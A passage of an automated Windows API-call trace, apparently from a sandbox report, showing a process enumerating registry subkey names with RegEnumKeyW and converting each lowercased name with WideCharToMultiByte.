lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0250.978] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3f, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x119c160, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0250.978] RegEnumKeyW (in: hKey=0x38, dwIndex=0x40, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x119c1a8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0250.978] RegEnumKeyW (in: hKey=0x38, dwIndex=0x41, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x119c160, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0250.978] RegEnumKeyW (in: hKey=0x38, dwIndex=0x42, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x43, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x119c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x44, lpName=0x119b9b8, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x119c1a8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x45, lpName=0x119b9b8, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x119c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x46, lpName=0x119b9b8, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x119c1a8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x47, lpName=0x119b9b8, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x119c160, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x48, lpName=0x119b9b8, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x119c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0250.979] RegEnumKeyW (in: hKey=0x38, dwIndex=0x49, lpName=0x119b9b8, cchName=0x104 | out: lpName="Network") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x119c160, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0250.980] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4a, lpName=0x119b9b8, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x119c1a8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0250.980] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4b, lpName=0x119b9b8, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x119c160, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0250.980] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4c, lpName=0x119b9b8, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0250.980] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4d, lpName=0x119b9b8, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x119c160, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0250.980] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4e, lpName=0x119b9b8, cchName=0x104 | out: lpName="Office") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x119c1a8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0250.980] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4f, lpName=0x119b9b8, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0250.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x119c160, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="officesoftwareprotectionplatform", lpUsedDefaultChar=0x0) returned 32 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x50, lpName=0x119b9b8, cchName=0x104 | out: lpName="Ole") returned 0x0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ole", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ole", lpUsedDefaultChar=0x0) returned 3 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x51, lpName=0x119b9b8, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="outlook express", cchWideChar=15, lpMultiByteStr=0x119c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="outlook express", lpUsedDefaultChar=0x0) returned 15 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x52, lpName=0x119b9b8, cchName=0x104 | out: lpName="PLA") returned 0x0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pla", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pla", lpUsedDefaultChar=0x0) returned 3 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x53, lpName=0x119b9b8, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="powershell", cchWideChar=10, lpMultiByteStr=0x119c160, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powershell", lpUsedDefaultChar=0x0) returned 10 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x54, lpName=0x119b9b8, cchName=0x104 | out: lpName="Print") returned 0x0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="print", cchWideChar=5, lpMultiByteStr=0x119c1a8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="print", lpUsedDefaultChar=0x0) returned 5 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x55, lpName=0x119b9b8, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0250.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="radar", cchWideChar=5, lpMultiByteStr=0x119c160, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="radar", lpUsedDefaultChar=0x0) returned 5 [0250.981] RegEnumKeyW (in: hKey=0x38, dwIndex=0x56, lpName=0x119b9b8, cchName=0x104 | out: lpName="Ras") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras", lpUsedDefaultChar=0x0) returned 3 [0250.982] RegEnumKeyW (in: hKey=0x38, dwIndex=0x57, lpName=0x119b9b8, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x119c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0250.982] RegEnumKeyW (in: hKey=0x38, dwIndex=0x58, lpName=0x119b9b8, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="reliability analysis", cchWideChar=20, lpMultiByteStr=0x119c1a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reliability analysis", lpUsedDefaultChar=0x0) returned 20 [0250.982] RegEnumKeyW (in: hKey=0x38, dwIndex=0x59, lpName=0x119b9b8, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="removaltools", cchWideChar=12, lpMultiByteStr=0x119c160, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="removaltools", lpUsedDefaultChar=0x0) returned 12 [0250.982] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5a, lpName=0x119b9b8, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rendezvousapps", cchWideChar=14, lpMultiByteStr=0x119c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rendezvousapps", lpUsedDefaultChar=0x0) returned 14 [0250.982] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5b, lpName=0x119b9b8, cchName=0x104 | out: lpName="Router") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="router", cchWideChar=6, lpMultiByteStr=0x119c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="router", lpUsedDefaultChar=0x0) returned 6 [0250.982] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5c, lpName=0x119b9b8, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0250.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rpc", cchWideChar=3, lpMultiByteStr=0x119c1a8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rpc", lpUsedDefaultChar=0x0) returned 3 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5d, lpName=0x119b9b8, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schedulingagent", cchWideChar=15, lpMultiByteStr=0x119c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schedulingagent", lpUsedDefaultChar=0x0) returned 15 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5e, lpName=0x119b9b8, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="schema library", cchWideChar=14, lpMultiByteStr=0x119c1a8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="schema library", lpUsedDefaultChar=0x0) returned 14 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5f, lpName=0x119b9b8, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security center", cchWideChar=15, lpMultiByteStr=0x119c160, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security center", lpUsedDefaultChar=0x0) returned 15 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x60, lpName=0x119b9b8, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sensors", cchWideChar=7, lpMultiByteStr=0x119c1a8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sensors", lpUsedDefaultChar=0x0) returned 7 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x61, lpName=0x119b9b8, cchName=0x104 | out: lpName="Shared") returned 0x0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x119c160, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x62, lpName=0x119b9b8, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0250.983] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x119c1a8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0250.983] RegEnumKeyW (in: hKey=0x38, dwIndex=0x63, lpName=0x119b9b8, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x119c160, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0250.984] RegEnumKeyW (in: hKey=0x38, dwIndex=0x64, lpName=0x119b9b8, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x119c1a8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0250.984] RegEnumKeyW (in: hKey=0x38, dwIndex=0x65, lpName=0x119b9b8, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0250.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 